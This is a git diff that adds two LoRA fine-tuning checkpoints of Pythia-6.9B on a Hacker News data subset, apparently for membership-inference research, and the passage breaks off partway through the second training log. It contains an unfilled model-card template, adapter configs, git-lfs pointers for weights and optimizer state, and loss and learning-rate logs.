sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b33049e26c2dc27a33e1aa0bf80e20f809971fa2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e6b5859f89cda4cc9628545e644f99460b00a74d045273ec6f244e2a7be6ff1e +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..03ff1cba0d31d096ecd69b5c1ab909b01a87287c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:306840adccedbc0f9ca43786918729ebc039c331507f9020e4d7e10a1b7797da +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..ba62c782c818c1b90b0344e262a00bb91255dc87 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2af2c0de08ddef877a4af0e5f2dfe4570d2f029659f125fbfe3bbcce3a8b09e6 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..ed00d4e9803635011eee9bbdae275cac04953c1b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9b86f25c4fadc98da61c18896b4c25ab399b3a23b766274b50979d4340358b17 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..e64c0bfdee6ad2ef47a79196dd0bd8cba69a09b8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/trainer_state.json @@ -0,0 +1,438 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.6, + "eval_steps": 10, + "global_step": 270, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.42423943626752e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-270/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..1de2b719b57815153d8640a2b8d77507bbb3a806 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f43390982055d6f33d236d3e73e2a326dc343e5c64057ab6ed6d9b2da260fe13 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..ef759ce0757040997a9bfe771c9bdf1b49154cef --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ef5c238d668b5db494c1b1e0c2ecf414116efaaeacac1f2e2821ce26fb7f5bbf +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..1702f62666b39cac633a34cf312f24e311e13df2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9ba79aaff190fd3ef9f70dd7c0a234665c2bd6c6bb243b5896c5bd6a16356627 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..5e2ffe406e2d87ea70e25bfbdad4187edda05acb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3d68cb0fb8d225e623592feefec72ecd0b7071657fb56415f262582b52279a56 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..4ce9b186dec97f42aa8e8708307e78a41ae2b4c7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-280/trainer_state.json @@ -0,0 +1,453 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.7333333333333334, + "eval_steps": 10, + "global_step": 280, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 